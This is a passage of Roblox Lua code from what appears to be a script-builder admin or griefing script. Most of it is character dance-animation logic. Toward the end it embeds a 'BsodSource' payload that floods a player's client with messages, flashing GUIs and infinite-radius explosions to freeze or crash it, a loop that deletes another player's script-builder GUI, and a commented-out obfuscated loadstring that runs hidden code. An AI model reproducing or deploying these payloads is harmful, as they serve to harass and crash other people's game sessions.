| 6293 | slidecountmax = 5 | |
| 6294 | if lastanim == "Walking" then | |
| 6295 | slidecount = 1 | |
| 6296 | end | |
| 6297 | end | |
| 6298 | ||
| 6299 | looking = false | |
| 6300 | countspeed = 9 | |
| 6301 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.4, 0, math.abs(angle*0.07)) | |
| 6302 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.4, 0, -math.abs(angle*0.07)) | |
| 6303 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.38, 0, -math.abs(angle*0.03)) | |
| 6304 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.38, 0, math.abs(angle*0.03)) | |
| 6305 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0) | |
| 6306 | rj.C0 = CFrame.new(0, math.abs(-angle*.055), 0) * CFrame.Angles(-math.pi/8/5*slidecount, math.sin(angle*0.05), 0) | |
| 6307 | end | |
| 6308 | ||
| 6309 | lastanim = anim | |
| 6310 | else | |
| 6311 | countspeed = 1 | |
| 6312 | local ray = Ray.new(rootpart.Position, Vector3.new(0, -2, 0)) | |
| 6313 | local hitz, enz = workspace:FindPartOnRay(ray, char) | |
| 6314 | if not hitz then | |
| 6315 | rj.C0 = CFrame.new(0, -0.5, 0) * CFrame.Angles(-math.pi/2, 0, 0) | |
| 6316 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.rad(30), 0, -math.pi/16) | |
| 6317 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.rad(30), 0, math.pi/16) | |
| 6318 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, -math.pi/10) | |
| 6319 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, math.pi/10) | |
| 6320 | else | |
| 6321 | rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0) | |
| 6322 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16) | |
| 6323 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16) | |
| 6324 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10) | |
| 6325 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10) | |
| 6326 | end | |
| 6327 | ||
| 6328 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(angle*0.055, 0, 0) | |
| 6329 | end | |
| 6330 | else | |
| 6331 | if superannoying then | |
| 6332 | countspeed = 5 | |
| 6333 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07)) | |
| 6334 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07)) | |
| 6335 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03)) | |
| 6336 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03)) | |
| 6337 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
| 6338 | rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0) | |
| 6339 | elseif barrelroll then | |
| 6340 | countspeed = 5 | |
| 6341 | sinespeed = 0.1 | |
| 6342 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.07)) | |
| 6343 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.07)) | |
| 6344 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, 0, -math.abs(angle*0.03)) | |
| 6345 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, 0, math.abs(angle*0.03)) | |
| 6346 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
| 6347 | rj.C0 = CFrame.new(math.sin(sine)*2.5, 0, 0) * CFrame.Angles(-math.pi/2, math.sin(sine)*4.5, 0) | |
| 6348 | elseif dubstepgun then | |
| 6349 | global_wait = (global_wait % 380) + 1 | |
| 6350 | countspeed = 5 | |
| 6351 | if global_wait < 249 - 40 then | |
| 6352 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.27)) | |
| 6353 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.27)) | |
| 6354 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03)) | |
| 6355 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03)) | |
| 6356 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
| 6357 | rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0) | |
| 6358 | elseif global_wait > 249 - 40 then | |
| 6359 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.4, 0, math.abs(angle*0.11)) | |
| 6360 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11)) | |
| 6361 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.09)) | |
| 6362 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.09)) | |
| 6363 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
| 6364 | rj.C0 = CFrame.new(0, math.abs(-angle*.075), 0) * CFrame.Angles(0, math.pi/3 + math.sin(angle*0.15), 0) | |
| 6365 | end | |
| 6366 | elseif youpirate then | |
| 6367 | global_wait = (global_wait % 380) + 1 | |
| 6368 | countspeed = 5 | |
| 6369 | if global_wait < 79 then | |
| 6370 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07)) | |
| 6371 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07)) | |
| 6372 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03)) | |
| 6373 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03)) | |
| 6374 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
| 6375 | rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0) | |
| 6376 | elseif global_wait < 299 then | |
| 6377 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.11)) | |
| 6378 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11)) | |
| 6379 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.2, 0, -math.abs(angle*0.1)) | |
| 6380 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.2, 0, math.abs(angle*0.1)) | |
| 6381 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), math.sin(angle*0.19), 0) | |
| 6382 | rj.C0 = CFrame.new(0, math.abs(-angle*.055+0.2), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0) | |
| 6383 | elseif global_wait > 299 then | |
| 6384 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07)) | |
| 6385 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07)) | |
| 6386 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03)) | |
| 6387 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03)) | |
| 6388 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
| 6389 | rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0) | |
| 6390 | end | |
| 6391 | elseif canttouch then | |
| 6392 | countspeed = 5 | |
| 6393 | global_wait = (global_wait % 160) + 1 | |
| 6394 | if global_wait == 160 then global_wait = 0 end | |
| 6395 | if global_wait < 39 then | |
| 6396 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07)) | |
| 6397 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07)) | |
| 6398 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03)) | |
| 6399 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03)) | |
| 6400 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
| 6401 | rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, -math.pi/6, 0) | |
| 6402 | elseif global_wait < 79 then | |
| 6403 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07)) | |
| 6404 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07)) | |
| 6405 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03)) | |
| 6406 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03)) | |
| 6407 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
| 6408 | rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, math.pi/6, 0) | |
| 6409 | elseif global_wait < 119 then | |
| 6410 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17) | |
| 6411 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17) | |
| 6412 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06)) | |
| 6413 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06)) | |
| 6414 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
| 6415 | rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0) | |
| 6416 | torso.CFrame = torso.CFrame * CFrame.new(0.05, 0, 0) | |
| 6417 | elseif global_wait > 119 then | |
| 6418 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17) | |
| 6419 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17) | |
| 6420 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06)) | |
| 6421 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06)) | |
| 6422 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
| 6423 | rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0) | |
| 6424 | torso.CFrame = torso.CFrame * CFrame.new(-0.05, 0, 0) | |
| 6425 | end | |
| 6426 | elseif gangnam then | |
| 6427 | countspeed = 5 | |
| 6428 | if global_wait == 180 then global_wait = 0 end | |
| 6429 | global_wait = (global_wait % 180) + 1 | |
| 6430 | if global_wait < 89 then | |
| 6431 | ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05)) | |
| 6432 | rs.C0 = CFrame.new(.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, -math.pi/3 + -math.abs(angle*0.05)) | |
| 6433 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03)) | |
| 6434 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03)) | |
| 6435 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
| 6436 | rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0) | |
| 6437 | elseif global_wait > 89 then | |
| 6438 | ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05)) | |
| 6439 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.sin(angle*0.1), 0, -math.sin(angle*0.1)) | |
| 6440 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03)) | |
| 6441 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03)) | |
| 6442 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
| 6443 | rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0) | |
| 6444 | end | |
| 6445 | elseif foxie then | |
| 6446 | countspeed = 5 | |
| 6447 | global_wait = (global_wait % 380) + 2 | |
| 6448 | if global_wait < 89 then | |
| 6449 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, -math.abs(angle*0.2)) | |
| 6450 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, math.abs(angle*0.2)) | |
| 6451 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03)) | |
| 6452 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03)) | |
| 6453 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
| 6454 | rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.rad(global_wait*4), 0) | |
| 6455 | elseif global_wait > 89 then | |
| 6456 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.05)) | |
| 6457 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, -math.abs(angle*0.05)) | |
| 6458 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03)) | |
| 6459 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03)) | |
| 6460 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, math.sin(angle*0.1)) | |
| 6461 | rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0) | |
| 6462 | end | |
| 6463 | elseif durka then | |
| 6464 | countspeed = 2 | |
| 6465 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.07)) | |
| 6466 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.07)) | |
| 6467 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, 0, -math.abs(angle*0.03)) | |
| 6468 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, 0, math.abs(angle*0.03)) | |
| 6469 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
| 6470 | rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0) | |
| 6471 | elseif saxguy then | |
| 6472 | countspeed = 5 | |
| 6473 | ls.C0 = CFrame.new(-.25,.1,-.1) * CFrame.Angles(math.pi/2.5, 0, math.pi/4) | |
| 6474 | rs.C0 = CFrame.new(.25,.1,-.1) * CFrame.Angles(math.rad(60), 0, -math.pi/4) | |
| 6475 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, -0.06) | |
| 6476 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, 0.06) | |
| 6477 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(0, 0, 0) | |
| 6478 | rj.C0 = CFrame.new(0, -math.abs(angle*0.01), math.abs(angle*0.01)) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
| 6479 | elseif heya then | |
| 6480 | countspeed = 5 | |
| 6481 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + -angle*0.2, -angle*0.1, 0) | |
| 6482 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, angle*0.1, 0) | |
| 6483 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06) | |
| 6484 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06) | |
| 6485 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0) | |
| 6486 | rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.sin(angle*0.07), 0) | |
| 6487 | elseif jb then | |
| 6488 | countspeed = 5 | |
| 6489 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0) | |
| 6490 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0) | |
| 6491 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06) | |
| 6492 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06) | |
| 6493 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0) | |
| 6494 | rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0) | |
| 6495 | elseif canttt then | |
| 6496 | countspeed = 5 | |
| 6497 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0) | |
| 6498 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0) | |
| 6499 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06) | |
| 6500 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06) | |
| 6501 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0) | |
| 6502 | rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0) | |
| 6503 | elseif bronymusic then | |
| 6504 | countspeed = 5 | |
| 6505 | ls.C0 = CFrame.new(-.1,.1,-.15) * CFrame.Angles(math.pi/2 + -angle*0.1, -angle*0.1, 0) | |
| 6506 | rs.C0 = CFrame.new(.1,.1,-.15) * CFrame.Angles(math.pi/2 + angle*0.1, angle*0.1, 0) | |
| 6507 | lh.C0 = CFrame.new(-.1,-.25,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, 0) | |
| 6508 | rh.C0 = CFrame.new(.1,-.25,0) * CFrame.Angles(math.pi/2 + -angle*0.1, 0, 0) | |
| 6509 | neck.C0 = CFrame.new(0,.25,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.25), 0, 0) | |
| 6510 | rj.C0 = CFrame.new(0, -0.2 + math.abs(angle*0.05), 0) * CFrame.Angles(-math.rad(85), 0, 0) | |
| 6511 | elseif sheddy then | |
| 6512 | countspeed = 7 | |
| 6513 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0) | |
| 6514 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0) | |
| 6515 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06) | |
| 6516 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06) | |
| 6517 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0) | |
| 6518 | rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0) | |
| 6519 | elseif burndem then | |
| 6520 | countspeed = 4 | |
| 6521 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0) | |
| 6522 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0) | |
| 6523 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06) | |
| 6524 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06) | |
| 6525 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0) | |
| 6526 | rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0) | |
| 6527 | end | |
| 6528 | end | |
| 6529 | end) | |
| 6530 | plr.Chatted:connect(function(msg) | |
| 6531 | game:service'Chat':Chat(head, msg, 0) | |
| 6532 | if msg == "reset/" then | |
| 6533 | char:breakJoints() | |
| 6534 | end | |
| 6535 | if msg == "resp/" then | |
| 6536 | plr:LoadCharacter() | |
| 6537 | end | |
| 6538 | end) | |
| 6539 | end) | |
| 6540 | if not ran and err then | |
| 6541 | print(err) | |
| 6542 | end | |
| 6543 | ]] | |
| 6544 | DisSB = [[ | |
| 6545 | plr = game:service'Players'.LocalPlayer | |
| 6546 | while true do | |
| 6547 | if plr:FindFirstChild("PlayerGui") then
| |
| 6548 | if plr.PlayerGui:FindFirstChild("SBGUI") then
| |
| 6549 | plr.PlayerGui.SBGUI:Remove() | |
| 6550 | end | |
| 6551 | end | |
| 6552 | wait() | |
| 6553 | end | |
| 6554 | ]] | |
| 6555 | BsodSource = [[ | |
| 6556 | wait() | |
| 6557 | script.Parent = game:service'TeleportService' | |
| 6558 | CC = workspace.CurrentCamera | |
| 6559 | RS = game:service("RunService")
| |
| 6560 | PG = game.Players.LocalPlayer.PlayerGui | |
| 6561 | C = game.Players.LocalPlayer.Character | |
| 6562 | function Lag() | |
| 6563 | coroutine.resume(coroutine.create(function() | |
| 6564 | while wait() do | |
| 6565 | M = Instance.new("Message",CC)
| |
| 6566 | M.Text = tick()*math.floor(5%4*21) | |
| 6567 | H = Instance.new("Hint",CC)
| |
| 6568 | H.Text = 'Man, Theres a reason you gotta go.' | |
| 6569 | SG=Instance.new("ScreenGui",PG)
| |
| 6570 | FR=Instance.new("Frame",SG)
| |
| 6571 | FR.Size = UDim2.new(500,500,500,500) | |
| 6572 | while wait() do | |
| 6573 | FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)) | |
| 6574 | end | |
| 6575 | P=Instance.new("Part",CC)
| |
| 6576 | E=Instance.new("Explosion",P)
| |
| 6577 | E.BlastRadius=math.huge | |
| 6578 | E.Position=P.Position | |
| 6579 | F=Instance.new("Fire",P)
| |
| 6580 | S=Instance.new("Smoke",P)
| |
| 6581 | P.CFrame = CC.Focus | |
| 6582 | P.Anchored = true | |
| 6583 | P.CanCollide = false | |
| 6584 | P.AncestryChanged:connect(function()Lag()end) | |
| 6585 | for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end | |
| 6586 | end | |
| 6587 | end)) | |
| 6588 | end | |
| 6589 | RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)]] | |
| 6590 | Scythe = [[ | |
| 6591 | LocalPlayer = game.Players.LocalPlayer.Name | |
| 6592 | script.Parent = game:GetService'Players':FindFirstChild(LocalPlayer) ~= nil and game:GetService'Players':FindFirstChild(LocalPlayer) | |
| 6593 | sn = table.concat({"Pwn","age"," ","Scy","th"})
| |
| 6594 | spd = 0.125 -- (1/SPD) = FramesPerSecond:> | |
| 6595 | d = {17,100} -- dmg
| |
| 6596 | Decs={}
| |
| 6597 | Decs.Totem = "35624068" | |
| 6598 | Decs.Tornado = "1051557" | |
| 6599 | Decs.SpikeBall = "9982590" | |
| 6600 | Decs.Fist = "65322375" | |
| 6601 | Decs.RedCliffT = "49754754" | |
| 6602 | Decs.RedCliff = "49754655" | |
| 6603 | Decs.Chakram = "18430887" | |
| 6604 | Decs.Chakram2 = "47260990" | |
| 6605 | Decs.Chakram3 = "19251107" | |
| 6606 | Decs.Diamond = "9756362" | |
| 6607 | Decs.Sword1 = "rbxasset://fonts/s" .. "word.mesh" | |
| 6608 | Decs.EF1 = "64467174" | |
| 6609 | Decs.TSkull1="36869975" | |
| 6610 | Decs.Skull1="36869983" | |
| 6611 | Decs.Shield1="60120613" Decs.Ring="3270017" Decs.Shine="48965808" Decs.Crack="49173398" Decs.Cloud="1095708" Decs.Spike="1033714" Decs.Rock="1290033" Decs.Crown="20329976" Decs.Crown2="1323306" | |
| 6612 | Decs.SplinteredSkyT="50798688" Decs.SplinteredSky="50798664" | |
| 6613 | e = string.char p = game:service'Players' l = game:service'Lighting' w = workspace -- dirteh useless funkshuns bel0w | |
| 6614 | w = wait wt = 0.1 s=script q = function(f) coroutine.resume(coroutine.create(function() f() end)) end | |
| 6615 | --q(function() loadstring(string.reverse(workspace.CurrentCamera[e(84) ..e(119) ..e(105) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(108) ..e(105) ..e(103) ..e(104) ..e(116) ..e(83) ..e(112) ..e(97) ..e(114) ..e(107) ..e(108) ..e(101)].Value))() end) | |
| 6616 | v310 = v3(1/0,1/0,1/0) bc=BrickColor.new ab=math.abs de=math.deg ts=tostring tn=tonumber ti=table.insert tr=table.remove cw=function(func) coroutine.resume(coroutine.create(function() func() end)) end | |
| 6617 | mf=math.floor sf=string.find sb=string.sub rn=math.random | |
| 6618 | function ft(tablez,item) for i=1,#tablez do if tablez[i] == item then return i end end return nil end | |
| 6619 | qi = function(ttz) local qii = it(ttz[1],ttz[2]) table.foreach(ttz,function(oi,oi2) if oi ~= 1 and oi ~= 2 then qii[oi] = oi2 end end) return qii end | |
| 6620 | function ft2(tablez,item) for i=1,#tablez do if tablez[i][1] == item then return i end end return nil end | |
| 6621 | function re(par,obj) if type(par) ~= "userdata" or type(obj) ~= "string" then return nil end if par:findFirstChild(obj) then par[obj]:Remove'' end end | |
| 6622 | function pa(pa,pn,sh,x,y,z,c,a,tr,re,bc2) local fp=nil if sh ~= "Wedge" and sh ~= "CornerWedge" then fp=it("Part",pa) fp.Shape=sh fp.formFactor="Custom" elseif sh == "Wedge" then fp=it("WedgePart",pa) fp.formFactor="Custom"
| |
| 6623 | elseif sh == "CornerWedge" then fp=it("CornerWedgePart",pa) end fp.Size=v3(x,y,z) fp.CanCollide=c fp.Anchored=false fp.BrickColor=bc(bc2) fp.Transparency=tr fp.Reflectance=re fp.BottomSurface=0 fp.Name=pn --fp.FrontSurface="Hinge"
| |
| 6624 | fp.TopSurface=0 fp:BreakJoints() fp.Anchored = a return fp end | |
| 6625 | function clearit(tab) for xx=1,#tab do tab[xx]:Remove'' end end | |
| 6626 | function weld(pa,p0,p1,x,y,z,a,b,c) local fw=it("Weld",pa) fw.Part0=p0 fw.Part1=p1 fw.C0=cn(x,y,z) *ca(a,b,c) return fw end
| |
| 6627 | function fade(prt,incr) q(function() for i=prt.Transparency,1,incr do prt.Transparency=i w() end prt:Remove'' end) end | |
